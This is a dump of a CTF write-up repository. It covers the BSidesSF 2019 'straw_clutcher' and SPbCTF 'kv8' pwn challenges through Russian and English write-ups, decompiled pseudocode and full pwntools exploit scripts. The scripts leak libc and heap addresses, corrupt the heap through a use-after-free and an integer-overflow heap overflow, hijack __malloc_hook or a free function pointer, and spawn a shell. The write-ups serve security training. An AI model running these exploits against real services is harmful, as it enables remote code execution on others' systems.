main(): 106 | libc = ELF('./libc-2.23.so') 107 | pc = remote('straw-clutcher-717c5694.challenges.bsidessf.net', 4321) 108 | 109 | pc.sendline('PUT AAA.EXE 10') 110 | pc.send('A' * 10) 111 | 112 | pc.sendline('RENAME AAA.EXE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA') 113 | pc.sendline('PUT CCC.EXE 128') 114 | pc.send('C' * 128) 115 | pc.sendline('PUT DDD.EXE 10') 116 | pc.send('D' * 10) 117 | 118 | pc.sendline('DELE CCC.EXE') 119 | 120 | # overwriting file->file_size with 0x4141 121 | pc.sendline('RETR BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA') 122 | pc.recvuntil('200 File download started. Prepare to get 16705 bytes') 123 | data = pc.recvuntil('Data transferred!') 124 | good_slice = data[100:209] 125 | 126 | libc_base = u64(good_slice[-24:-16]) - 0x3c4b78 127 | __malloc_hook = libc_base + libc.symbols['__malloc_hook'] 128 | __free_hook = libc_base + libc.symbols['__free_hook'] 129 | heap = u64(good_slice[-48:-40]) 130 | 131 | log.success('libc base @ ' + hex(libc_base)) 132 | log.success('heap @ ' + hex(heap)) 133 | log.success('__free_hook @ ' + hex(__free_hook)) 134 | log.success('__malloc_hook @ ' + hex(__malloc_hook)) 135 | 136 | ################################################# 137 | ################################################# 138 | 139 | # creating a fake file structure chunk 140 | pc.sendline('PUT EEE.EXE {}'.format(0x48)) 141 | pc.send(p64(0x4848482e484848) + p64(0) * 4 + p64(0x68) + \ 142 | p64(heap + 0x250) + p64(0) + p64(heap + 0x190)) # -0x23 143 | 144 | 145 | # make two freed 0x70 chunks 146 | pc.sendline('PUT TTT.TTT {}'.format(0x68)) 147 | pc.send('T' * 0x68) 148 | pc.sendline('PUT KKK.KKK {}'.format(0x68)) 149 | pc.send('K' * 0x68) 150 | pc.sendline('DELE TTT.TTT') 151 | pc.sendline('DELE KKK.KKK') 152 | 153 | # overwrite lsb of file->prev_file 154 | pc.sendline('RENAME EEE.EXE ' + 'E' * 7*8 + 'EEEEE.EXP') 155 | 156 | # and clear already freed 0x70 chunk 157 | pc.sendline('DELE HHH.HHH') 158 | 159 | pc.sendline('PUT LLL.LLL {}'.format(0x68)) 160 | pc.send(p64(__malloc_hook - 0x13) + 'K' * 0x60) 161 | pc.sendline('PUT MMM.MMM {}'.format(0x68)) 162 | pc.send('M' * 0x68) 163 | pc.sendline('PUT NNN.NNN {}'.format(0x68)) 164 | pc.send('N' * 0x68) 165 | 166 | one_gadget = 0x4526a 167 | 168 | # allocate file->data above of __malloc_hook 169 | # and write one_gadget into this 170 | pc.sendline('PUT OOO.OOO {}'.format(0x68)) 171 | pc.send('AAA' + p64(libc_base + one_gadget) + 'O' * (0x60-3)) 172 | 173 | # trigger malloc 174 | pc.sendline('PUT JJJ.JJJ 8') 175 | 176 | pc.interactive() 177 | 178 | 179 | if __name__ == '__main__': 180 | main() 181 | ``` 182 | 183 | After running this exploit we've got: 184 | 185 |

186 | 187 |

188 | 189 | > Flag: CTF{hoisting_the_flag} 190 | 191 | Flag is not really interesting, but the challenge was pretty good! -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | def main(): 5 | libc = ELF('./libc-2.23.so') 6 | pc = remote('straw-clutcher-717c5694.challenges.bsidessf.net', 4321) 7 | 8 | pc.sendline('PUT AAA.EXE 10') 9 | pc.send('A' * 10) 10 | 11 | pc.sendline('RENAME AAA.EXE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA') 12 | pc.sendline('PUT CCC.EXE 128') 13 | pc.send('C' * 128) 14 | pc.sendline('PUT DDD.EXE 10') 15 | pc.send('D' * 10) 16 | 17 | pc.sendline('DELE CCC.EXE') 18 | 19 | pc.sendline('RETR BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA') 20 | pc.recvuntil('200 File download started. Prepare to get 16705 bytes') 21 | data = pc.recvuntil('Data transferred!') 22 | good_slice = data[100:209] 23 | 24 | libc_base = u64(good_slice[-24:-16]) - 0x3c4b78 25 | __malloc_hook = libc_base + libc.symbols['__malloc_hook'] 26 | __free_hook = libc_base + libc.symbols['__free_hook'] 27 | heap = u64(good_slice[-48:-40]) 28 | 29 | log.success('libc base @ ' + hex(libc_base)) 30 | log.success('heap @ ' + hex(heap)) 31 | log.success('__free_hook @ ' + hex(__free_hook)) 32 | log.success('__malloc_hook @ ' + hex(__malloc_hook)) 33 | 34 | ################################################# 35 | ################################################# 36 | 37 | pc.sendline('PUT EEE.EXE {}'.format(0x48)) 38 | pc.send(p64(0x4848482e484848) + p64(0) * 4 + p64(0x68) + \ 39 | p64(heap + 0x250) + p64(0) + p64(heap + 0x190)) # -0x23 40 | 41 | 42 | pc.sendline('PUT TTT.TTT {}'.format(0x68)) 43 | pc.send('T' * 0x68) 44 | pc.sendline('PUT KKK.KKK {}'.format(0x68)) 45 | pc.send('K' * 0x68) 46 | pc.sendline('DELE TTT.TTT') 47 | pc.sendline('DELE KKK.KKK') 48 | 49 | pc.sendline('RENAME EEE.EXE ' + 'E' * 7*8 + 'EEEEE.EXP') 50 | pc.sendline('DELE HHH.HHH') 51 | 52 | pc.sendline('PUT LLL.LLL {}'.format(0x68)) 53 | pc.send(p64(__malloc_hook - 0x13) + 'K' * 0x60) 54 | pc.sendline('PUT MMM.MMM {}'.format(0x68)) 55 | pc.send('M' * 0x68) 56 | pc.sendline('PUT NNN.NNN {}'.format(0x68)) 57 | pc.send('N' * 0x68) 58 | 59 | one_gadget = 0x4526a 60 | 61 | pc.sendline('PUT OOO.OOO {}'.format(0x68)) 62 | pc.send('AAA' + p64(libc_base + one_gadget) + 'O' * (0x60-3)) 63 | 64 | pc.sendline('PUT JJJ.JJJ 8') 65 | 66 | pc.interactive() 67 | 68 | 69 | if __name__ == '__main__': 70 | main() -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/libc-2.23.so -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/screens/beginning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/screens/beginning.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/screens/final_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/screens/final_shell.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/screens/vuln.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/screens/vuln.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/straw-clutcher: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/straw-clutcher -------------------------------------------------------------------------------- /2019/SPbCTF/kv8/README.md: -------------------------------------------------------------------------------- 1 | # SPbCTF training by fargate 2 | 3 | ## kv8 service 4 | 5 | ## Solution 6 | 7 | *English version TBA* 8 | 9 | Сервис состоял из одного бинарного файла `kv8`, посмотрим что на него говорит `file` 10 | 11 | ``` 12 | $ file kv8 13 | kv8: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=09549d5175bc8e6f1c8dc3dcaa1c45eab655206b, not stripped 14 | ``` 15 | 16 | ## Reversing the binary 17 | 18 | Сначала рассмотрим общую функциональность, которую из себя представляет `kv8`. Вот файлик с [псевдокодом](./pseudocode.c) для тех, у кого нету под рукой IDA. 19 | 20 | В данном сервисе использовалась [libc-2.28.so](./libc-2.28.so) 21 | 22 | ### Общие слова 23 | 24 | Бинарь 6 раз у нас читает реквесты и потом вырубается. Чтение реквеста начинается с чтения хедера `read_heder`. В этой функции мы вводим 16 байт: 25 | 26 | ``` 27 | 8 bytes 8 bytes 28 | | cmd_option | buf_size | 29 | ``` 30 | 31 | Происходят проверки на то, что `0 <= cmd_options <= 5` и `0 <= buf_size <= 0x400`. 32 | 33 | Затем вызывается один из обработчиков `handlers[cmd_option](cmd_option, buf_size)`. Соответственно, `handlers` - это некий массив обработчиков: 34 | 35 | ``` 36 | handlers 37 | .data:203020 dq offset cmd_auth 38 | .data:203028 dq offset cmd_head 39 | .data:203030 dq offset cmd_put 40 | .data:203038 dq offset cmd_get 41 | .data:203040 dq offset ping 42 | .data:203048 dq offset cmd_quit 43 | ``` 44 | 45 | Таким образом, у нас перед глазами находится вся функциональность рассматриваемого сервиса. Исследуем каждую функцию по отдельности, ниже будут приведены комментарии по каждой из них 46 | 47 | ### cmd_auth 48 | 49 | Тут есть подозрительный `alloca`, но так как `0 <= buf_size <= 0x400`, то никаких хаков тут сделать не получится. Здесь создаётся локальный буффер на стеке с помощью `alloca`. в который затем считываются данные. Данные эти выглядят так: 50 | 51 | ``` 52 | 1 byte uid_len bytes 53 | | uid_len | . . . uid . . . | 54 | ``` 55 | 56 | Если `uid_len + 1 <= 0x80`, то мы аллоцируем два чанка на хипе под `struct user_t` и `uid` буффер. 57 | 58 | ```c 59 | struct user_t { 60 | bool auth; /* 8 bytes */ 61 | char * uid_ptr; 62 | size_t (*dealloc_func)(void *ptr); /* function pointer */ 63 | } 64 | ``` 65 | 66 | Затем ставим `user->auth = 1`, копируем данные из локального буффера `uid` в чанк `user->uid`, и ставим `dealloc_func` равным `free`. 67 | 68 | После всех действий присваиваем указатель на чанк `user` в структуру `root_ctx` (её поля я описывать не буду, так как выкинул листочек, на котором писал, а восстанавливать лень). 69 | 70 | ### cmd_head 71 | 72 | Сперва проверяется, что пользователь должен быть авторизован (почему-то два раза, но это не особо влияет на ход решения). Выделяется локальный буффер под данные (тем же `alloca`), и в этот буффер вводится строчка, которая должна удволетворять регулярке `^[a-zA-Z0-9\-]+$` 73 | 74 | Если строчка всё же удволетворяет условиям, то мы пытаемся открыть файл с именем, которое формируется так: 75 | 76 | ``` 77 | filename = "data/{}_{}".format(root_ctx->user->uid, stdin_string) 78 | ``` 79 | 80 | Если открывается, то возвращается код ответа 200, иначе 404. То есть, эта функция проверяет, присутствует ли такой файл на сервере. 81 | 82 | ### cmd_put 83 | 84 | Как видно из названия, эта функция просто кладёт файл на сервер и записывает в него указанные данные. Имя файла генерируется по примеру выше. Детально разбирать эту функцию я не буду, можете почитать [псевдокод](./pseudocode.c). Если прям очень нужно её описать комментами, то дайте мне знать. 85 | 86 | ### cmd_get 87 | 88 | Возвращает данные по указаному имени файла. Имя файла, как и прежде, формируется из `root_ctx->user->uid` и введённой строчки 89 | 90 | ### ping 91 | 92 | Это функция поинтереснее остальных, так как никак особо не влияет на функционал, значит чексистем юзать её для проверки флагов, скорее всего, не будет (от чекера, конечно, зависит). Что же происходит внутри? 93 | 94 | Мы вводим байты указанного `buf_size` размера, после этого бинарь выводит три строчки: 95 | 96 | ```c 97 | writen(idx, idx_len); // our entered string 98 | writen(pong, pond_len); // " pong " string 99 | writen(root_ctx, final_size); // root_ctx string 100 | ``` 101 | 102 | К этой функции мы вернёмся позже 103 | 104 | ### cmd_quit 105 | 106 | И последняя пользовательская функция, в котороый мы производим logout текущего пользователя. Проверяем, что `root_ctx->user != NULL` и после этого чистим чанки: 107 | 108 | ```c 109 | free(root_ctx->user->uid); 110 | free(root_ctx->user); 111 | ``` 112 | 113 | ## Exploitation 114 | 115 | Что ж, где-то тут должны быть уязвимости, давайте их искать. 116 | 117 | ### cmd_quit / uaf + double free 118 | 119 | Начнём с `cmd_quit`, так как она больше всех бросается в глаза. В ней мы чистим чанки `root_ctx->user->uid` и `root_ctx->user`, но не обнуляем соответствующие поля. В нормальном варианте эта функция должна выглядеть как-то так: 120 | 121 | ```c 122 | void cmd_quit(size_t cmd, size_t buf_size) 123 | { 124 | struct user_t *user; 125 | size_t (__fastcall *dealloc)(size_t); 126 | size_t goodbye_len; 127 | 128 | if ( buf_size ) 129 | __assert_fail("header.l == 0", "/vagrant/spbctf/fargate-training/kv8/main.c", 0x93u, "cmd_quit"); 130 | goodbye_len = strlen("goodby"); 131 | write_header(200, goodbye_len); 132 | writen("goodby", goodbye_len); 133 | user = root_ctx->user; 134 | if ( user ) { 135 | dealloc = user->dealloc_func; 136 | 137 | dealloc(user->uid); 138 | user->uid = NULL; 139 | user->auth = 0; 140 | 141 | dealloc(root_ctx->user); 142 | root_ctx->user = NULL; 143 | } 144 | } 145 | ``` 146 | 147 | Но с тем вариантом, который есть у нас, мы можем использовать уже почищенные чанки в других пользовательских функциях. А так же почистить те же самые чанки ещё раз. Таким образом, эта функция даёт **Use-After-Free** и **Double Free** баги. 148 | 149 | Небольшой спойлер: во время CTFа я не смог их раскрутить, да и вообще считаю, что в данном сервисе их невозможно раскрутить до чего-то вменяемого. Почему я так считаю можете спросить у меня в [телеге](https://t.me/konata_alive). 150 | 151 | ### ping / leaking addresses 152 | 153 | Раз предыдущая функция ничего существенного не дала, то давайте посмотрим на ту самую пользовательскую функцию, которую чексистем никак юзать не стала бы (зависит от чекера, конечно). 154 | 155 | Ниже я приложу кусок псевдокода, по которому будем ориентироваться: 156 | 157 | ```c 158 | unsigned __int64 __fastcall ping(__int64 cmd, unsigned __int64 buf_size) 159 | { 160 | void *v2; // rsp 161 | unsigned __int64 __buf_size; // rbx 162 | size_t pos; // rbx 163 | size_t root_len; // rax 164 | unsigned __int64 idx_len; // rax 165 | unsigned __int64 pond_len; // rax 166 | size_t idx_len_; // rax 167 | __int64 l2; // rbx 168 | size_t pong_len; // rax 169 | __int64 _cmd; // [rsp+0h] [rbp-60h] 170 | unsigned __int64 _buf_size; // [rsp+8h] [rbp-58h] 171 | unsigned __int64 v14; // [rsp+10h] [rbp-50h] 172 | char *idx; // [rsp+18h] [rbp-48h] 173 | char *pong; // [rsp+20h] [rbp-40h] 174 | size_t str_len; // [rsp+28h] [rbp-38h] 175 | __int64 v18; // [rsp+30h] [rbp-30h] 176 | size_t v19; // [rsp+38h] [rbp-28h] 177 | unsigned __int64 canary; // [rsp+48h] [rbp-18h] 178 | 179 | _cmd = cmd; 180 | _buf_size = buf_size; 181 | canary = __readfsqword(0x28u); 182 | if ( !buf_size || _buf_size > 0x400 ) 183 | __assert_fail( 184 | "header.l > 0 && header.l <= TLV_MAX_LEN", 185 | "/vagrant/spbctf/fargate-training/kv8/main.c", 186 | 0xA4u, 187 | "ping"); 188 | v14 = _buf_size - 1; 189 | v2 = alloca(16 * ((_buf_size + 15) / 0x10)); 190 | idx = &_cmd; 191 | readn(&_cmd, _buf_size); 192 | idx[_buf_size - 1] = 0; 193 | pong = " pong "; 194 | __buf_size = _buf_size; 195 | pos = strlen(" pong ") + __buf_size; 196 | root_len = strlen(root_ctx); 197 | str_len = pos + root_len; 198 | v18 = 200LL; 199 | v19 = pos + root_len; 200 | write_header(200LL, pos + root_len); 201 | idx_len = strlen(idx); 202 | writen(idx, idx_len); 203 | pond_len = strlen(pong); 204 | writen(pong, pond_len); 205 | idx_len_ = strlen(idx); 206 | l2 = str_len - idx_len_; 207 | pong_len = strlen(pong); 208 | writen(root_ctx, l2 - pong_len); 209 | return __readfsqword(0x28u) ^ canary; 210 | } 211 | ``` 212 | 213 | Итак, давайте смотреть как формируется `final_size` aka `l2 - pong_len` (простите за такой псевдокод без типов): 214 | 215 | ```c 216 | __buf_size = _buf_size; 217 | pos = strlen(" pong ") + __buf_size; 218 | root_len = strlen(root_ctx); 219 | str_len = pos + root_len; 220 | idx_len_ = strlen(idx); 221 | l2 = str_len - idx_len_; 222 | final_size = l2 - pong_len; 223 | ``` 224 | 225 | Что, если мы укажем `buf_size = 0x84`, а `idx` будет выглядеть так: 226 | 227 | ```c 228 | idx = "AAAA" + "\x00" * 0x80 229 | ``` 230 | 231 | Тогда давайте посчитаем `final_len`: 232 | 233 | ```c 234 | __buf_size = _buf_size; // 0x84 235 | pos = strlen(" pong ") + __buf_size; // 0x8a 236 | root_len = strlen(root_ctx); // 0x10 237 | str_len = pos + root_len; // 0x9a 238 | idx_len_ = strlen(idx); // 0x4 239 | l2 = str_len - idx_len_; // 0x96 240 | final_size = l2 - pong_len; // 0x90 241 | ``` 242 | 243 | А что это мы такое получили? Мы получили значение больше `0x10`! Это значит, что мы выводим не только строчку `kv8 version 4242`, но и ещё `0x80` байтов после неё! Таким образом, **мы получаем адреса heap и libc** (так как структура `root_ctx` хранит в себе указатели на heap и на функцию exit, которая часть libc). 244 | 245 | 246 | ### cmd_auth / heap overflow 247 | 248 | Круто, такми образом мы слили очень полезные адреса. Но как же нам что-то покарраптить? 249 | 250 | Взглянем ещё раз на функцию `cmd_auth`, а именно на проверку 251 | 252 | ```c 253 | if ( (msg_len + 1) <= 0x80u ) { 254 | // create user 255 | // . . . 256 | } 257 | ``` 258 | 259 | `msg_len` длиной в 1 байт, и мы его контролируем. Если указать `msg_len = 0xff`, то при инкрементировании тип переполнится и `msg_len` станет равным 0, и проверка пройдёт успешно. Значит, после создания чанка `uid` и `user` мы сможем перезаписать чанк пользователя, а вместе с ним и поля `user->dealloc_func` с `user->uid`. 260 | 261 | Вспомним теперь, что в `cmd_quit` вызывается `user->dealloc_func(user->uid)`. То есть, если в `user->dealloc_func` положить `system`, а в `user->uid` указатель на контролируемую нами строчку (например, `"/bin/sh"`), то мы отспавним шелл. 262 | 263 | ## Exploit 264 | 265 | Это не конечный вариант, который мы использовали на самом контесте, но зато можете потестить его локально (сорян за говнокод бтв) 266 | 267 | ```python 268 | #!/usr/bin/python2 269 | 270 | import sys 271 | 272 | from pwn import * 273 | 274 | 275 | def cmd_auth(pc, msg_len, uid): 276 | pc.send(msg_len) 277 | pc.send(uid) 278 | 279 | 280 | def cmd_head(pc, idx): 281 | pc.send(idx) 282 | 283 | 284 | def cmd_put(pc, idx_len, data_len, idx, data): 285 | pc.send(idx_len) 286 | pc.send(data_len) 287 | pc.send(idx) 288 | pc.send(data) 289 | 290 | 291 | def cmd_get(pc, idx): 292 | pc.send(idx) 293 | 294 | 295 | def cmd_ping(pc, data): 296 | pc.send(data) 297 | 298 | 299 | def cmd_quit(pc): 300 | pass 301 | 302 | 303 | CMD = { 304 | cmd_auth: 0, 305 | cmd_head: 1, 306 | cmd_put: 2, 307 | cmd_get: 3, 308 | cmd_ping: 4, 309 | cmd_quit: 5 310 | } 311 | 312 | 313 | def cmd_func(pc, cmd, buf_size, *args): 314 | pc.send(p64(CMD[cmd])) 315 | pc.send(p64(buf_size)) 316 | cmd(pc, *args) 317 | 318 | 319 | def main(pc): 320 | binsh = 0x181519 321 | system = 0x44c50 322 | 323 | cmd_func(pc, cmd_ping, 0x44, 'ping' + '\x00' * 0x40) 324 | resp = '' 325 | while len(resp) != 0x60: 326 | resp += pc.recv(0x60) 327 | 328 | libc_base = u64(resp[74:82]) - 0x39fb0 329 | heap_base = u64(resp[82:90]) - 0x10 330 | 331 | log.success('heap base @ ' + hex(heap_base)) 332 | log.success('libc base @ ' + hex(libc_base)) 333 | 334 | cmd = '/bin/sh\x00' 335 | 336 | cmd_func(pc, cmd_auth, 0xa9, p8(0xff), cmd + '\x01' * (0x88 - len(cmd)) + \ 337 | p64(0x120) + p64(1) + p64(heap_base + 0x60) + \ 338 | p64(libc_base + system)) 339 | 340 | cmd_func(pc, cmd_quit, 0) 341 | 342 | pc.interactive() 343 | 344 | 345 | if __name__ == '__main__': 346 | while True: 347 | pc = remote(sys.argv[1], 4242) 348 | try: 349 | main(pc) 350 | break 351 | except Exception: 352 | pass 353 | finally: 354 | pc.close() 355 | ``` 356 | 357 | Спасибо `@korniltsev` за крутой сервис! 358 | 359 | ![meme](https://www.meme-arsenal.com/memes/6e251523d3ceb09308c3a3a82fb9dcc4.jpg) 360 | 361 | 362 | 363 | -------------------------------------------------------------------------------- /2019/SPbCTF/kv8/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | import sys 4 | 5 | from pwn import * 6 | 7 | 8 | def cmd_auth(pc, msg_len, uid): 9 | pc.send(msg_len) 10 | pc.send(uid) 11 | 12 | 13 | def cmd_head(pc, idx): 14 | pc.send(idx) 15 | 16 | 17 | def cmd_put(pc, idx_len, data_len, idx, data): 18 | pc.send(idx_len) 19 | pc.send(data_len) 20 | pc.send(idx) 21 | pc.send(data) 22 | 23 | 24 | def cmd_get(pc, idx): 25 | pc.send(idx) 26 | 27 | 28 | def cmd_ping(pc, data): 29 | pc.send(data) 30 | 31 | 32 | def cmd_quit(pc): 33 | pass 34 | 35 | 36 | CMD = { 37 | cmd_auth: 0, 38 | cmd_head: 1, 39 | cmd_put: 2, 40 | cmd_get: 3, 41 | cmd_ping: 4, 42 | cmd_quit: 5 43 | } 44 | 45 | 46 | def cmd_func(pc, cmd, buf_size, *args): 47 | pc.send(p64(CMD[cmd])) 48 | pc.send(p64(buf_size)) 49 | cmd(pc, *args) 50 | 51 | 52 | def main(pc): 53 | binsh = 0x181519 54 | system = 0x44c50 55 | 56 | cmd_func(pc, cmd_ping, 0x44, 'ping' + '\x00' * 0x40) 57 | resp = '' 58 | while len(resp) != 0x60: 59 | resp += pc.recv(0x60) 60 | 61 | libc_base = u64(resp[74:82]) - 0x39fb0 62 | heap_base = u64(resp[82:90]) - 0x10 63 | 64 | log.success('heap base @ ' + hex(heap_base)) 65 | log.success('libc base @ ' + hex(libc_base)) 66 | 67 | cmd = '/bin/sh\x00' 68 | 69 | cmd_func(pc, cmd_auth, 0xa9, p8(0xff), cmd + '\x01' * (0x88 - len(cmd)) + \ 70 | p64(0x120) + p64(1) + p64(heap_base + 0x60) + \ 71 | p64(libc_base + system)) 72 | 73 | cmd_func(pc, cmd_quit, 0) 74 | 75 | pc.interactive() 76 | 77 | 78 | if __name__ == '__main__': 79 | while True: 80 | pc = remote(sys.argv[1], 4242) 81 | try: 82 | main(pc) 83 | break 84 | except Exception: 85 | pass 86 | finally: 87 | pc.close() -------------------------------------------------------------------------------- /2019/SPbCTF/kv8/kv8: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/SPbCTF/kv8/kv8 -------------------------------------------------------------------------------- /2019/SPbCTF/kv8/libc-2.28.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/SPbCTF/kv8/libc-2.28.so -------------------------------------------------------------------------------- /2019/SPbCTF/kv8/pseudocode.c: -------------------------------------------------------------------------------- 1 | unsigned __int64 __fastcall 2 | cmd_auth(__int64 cmd, unsigned __int64 buf_size) 3 | { 4 | void *local_buf; // rsp 5 | __int64 _local_buf; // [rsp+0h] [rbp-70h] 6 | unsigned __int64 v5; // [rsp+8h] [rbp-68h] 7 | unsigned __int8 msg_len; // [rsp+15h] [rbp-5Bh] 8 | unsigned __int8 size; // [rsp+16h] [rbp-5Ah] 9 | char first_byte_plus_one; // [rsp+17h] [rbp-59h] 10 | unsigned __int64 v9; // [rsp+18h] [rbp-58h] 11 | unsigned __int8 *__local_buf; // [rsp+20h] [rbp-50h] 12 | unsigned __int8 *___local_buf; // [rsp+28h] [rbp-48h] 13 | void *uid; // [rsp+30h] [rbp-40h] 14 | __int64 user; // [rsp+38h] [rbp-38h] 15 | __int64 resp_code; // [rsp+40h] [rbp-30h] 16 | __int64 v15; // [rsp+48h] [rbp-28h] 17 | unsigned __int64 canary; // [rsp+58h] [rbp-18h] 18 | 19 | _local_buf = cmd; 20 | v5 = buf_size; 21 | canary = __readfsqword(0x28u); 22 | v9 = buf_size - 1; 23 | local_buf = alloca(16 * ((buf_size + 15) / 16)); 24 | __local_buf = &_local_buf; 25 | readn(&_local_buf, buf_size); 26 | ___local_buf = __local_buf; 27 | msg_len = *__local_buf; 28 | size = 0x80u; 29 | first_byte_plus_one = msg_len + 1; 30 | if ( (msg_len + 1) <= 0x80u ) 31 | { 32 | uid = allocator_alloc(size); 33 | user = allocator_alloc(0x118LL); 34 | *user = 1; 35 | *(user + 8) = uid; 36 | *(user + 16) = allocator_dealloc; 37 | memcpy(uid, ___local_buf + 1, msg_len); 38 | *(uid + msg_len) = 0; 39 | *(root_ctx + 5) = user; 40 | resp_code = 200LL; 41 | v15 = 0LL; 42 | write_header(200LL, 0LL); 43 | } 44 | else 45 | { 46 | firfirfir("auth message too big"); 47 | } 48 | return __readfsqword(0x28u) ^ canary; 49 | } 50 | 51 | unsigned __int64 __fastcall 52 | cmd_head(__int64 cmd, unsigned __int64 buf_size) 53 | { 54 | void *v2; // rsp 55 | __int64 _cmd; // [rsp+0h] [rbp-1020h] 56 | __int64 _buf_size; // [rsp+8h] [rbp-1018h] 57 | __int64 v6; // [rsp+18h] [rbp-1008h] 58 | void *idx; // [rsp+20h] [rbp-1000h] 59 | FILE *fp; // [rsp+28h] [rbp-FF8h] 60 | __int64 v9; // [rsp+30h] [rbp-FF0h] 61 | __int64 v10; // [rsp+38h] [rbp-FE8h] 62 | char filename; // [rsp+40h] [rbp-FE0h] 63 | unsigned __int64 canary; // [rsp+FE8h] [rbp-38h] 64 | 65 | _cmd = cmd; 66 | _buf_size = buf_size; 67 | canary = __readfsqword(0x28u); 68 | check_auth(); 69 | check_auth(); 70 | v6 = _buf_size; 71 | v2 = alloca(16 * ((_buf_size + 16) / 16uLL)); 72 | idx = &_cmd; 73 | bzero(&_cmd, _buf_size + 1); 74 | readn(idx, _buf_size); 75 | check_path_part(idx); 76 | snprintf(&filename, 0xFA0uLL, "data/%s_%s", *(*(root_ctx + 5) + 8LL), idx); 77 | fp = fopen(&filename, "rb"); 78 | if ( fp ) 79 | { 80 | fclose(fp); 81 | v9 = 200LL; 82 | v10 = 0LL; 83 | write_header(200LL, 0LL); 84 | } 85 | else 86 | { 87 | v9 = 404LL; 88 | v10 = 0LL; 89 | write_header(404LL, 0LL); 90 | } 91 | return __readfsqword(0x28u) ^ canary; 92 | } 93 | 94 | unsigned __int64 __fastcall 95 | cmd_put(__int64 cmd, unsigned __int64 buf_size) 96 | { 97 | void *local_buf; // rsp 98 | void *v3; // rsp 99 | void *v4; // rsp 100 | __int64 v6; // [rsp+0h] [rbp-1090h] 101 | __int64 v7; // [rsp+8h] [rbp-1088h] 102 | __int64 v8; // [rsp+10h] [rbp-1080h] 103 | __int64 v9; // [rsp+18h] [rbp-1078h] 104 | unsigned __int64 ___buf_size; // [rsp+20h] [rbp-1070h] 105 | __int64 v11; // [rsp+28h] [rbp-1068h] 106 | unsigned __int64 __buf_size; // [rsp+30h] [rbp-1060h] 107 | __int64 v13; // [rsp+38h] [rbp-1058h] 108 | __int64 _cmd; // [rsp+40h] [rbp-1050h] 109 | unsigned __int64 _buf_size; // [rsp+48h] [rbp-1048h] 110 | size_t lens; // [rsp+58h] [rbp-1038h] 111 | __int64 *__local_buf; // [rsp+60h] [rbp-1030h] 112 | unsigned __int64 _buf_size_minus_one; // [rsp+68h] [rbp-1028h] 113 | __int64 *___local_buf; // [rsp+70h] [rbp-1020h] 114 | __int64 v20; // [rsp+78h] [rbp-1018h] 115 | void *idx; // [rsp+80h] [rbp-1010h] 116 | __int64 v22; // [rsp+88h] [rbp-1008h] 117 | void *data; // [rsp+90h] [rbp-1000h] 118 | FILE *fp; // [rsp+98h] [rbp-FF8h] 119 | __int64 v25; // [rsp+A0h] [rbp-FF0h] 120 | __int64 v26; // [rsp+A8h] [rbp-FE8h] 121 | char filename; // [rsp+B0h] [rbp-FE0h] 122 | unsigned __int64 canary; // [rsp+1058h] [rbp-38h] 123 | 124 | _cmd = cmd; 125 | _buf_size = buf_size; 126 | canary = __readfsqword(0x28u); 127 | check_auth(); 128 | _buf_size_minus_one = _buf_size - 1; 129 | __buf_size = _buf_size; 130 | v13 = 0LL; 131 | ___buf_size = _buf_size; 132 | v11 = 0LL; 133 | local_buf = alloca(16 * ((_buf_size + 15) / 16)); 134 | __local_buf = &v6; 135 | if ( _buf_size <= 1 ) 136 | firfirfir("too small"); 137 | readn(__local_buf, _buf_size); 138 | ___local_buf = __local_buf; 139 | LODWORD(lens) = *__local_buf; 140 | HIDWORD(lens) = *(__local_buf + 1); 141 | if ( (lens + HIDWORD(lens) + 2) > _buf_size ) 142 | firfirfir("too big"); 143 | v20 = (lens + 1) - 1LL; 144 | v8 = (lens + 1); 145 | v9 = 0LL; 146 | v6 = (lens + 1); 147 | v7 = 0LL; 148 | v3 = alloca(16 * ((v8 + 15) / 0x10uLL)); 149 | idx = &v6; 150 | v22 = (HIDWORD(lens) + 1) - 1LL; 151 | v4 = alloca(16 * (((HIDWORD(lens) + 1) + 15) / 0x10)); 152 | data = &v6; 153 | memcpy(&v6, ___local_buf + 2, lens); 154 | *(idx + lens) = 0; 155 | memcpy(data, ___local_buf + lens + 2, HIDWORD(lens)); 156 | *(data + HIDWORD(lens)) = 0; 157 | check_path_part(idx); 158 | snprintf(&filename, 0xFA0uLL, "data/%s_%s", *(*(root_ctx + 5) + 8LL), idx); 159 | fp = fopen(&filename, "wb"); 160 | if ( !fp ) 161 | __assert_fail("f", 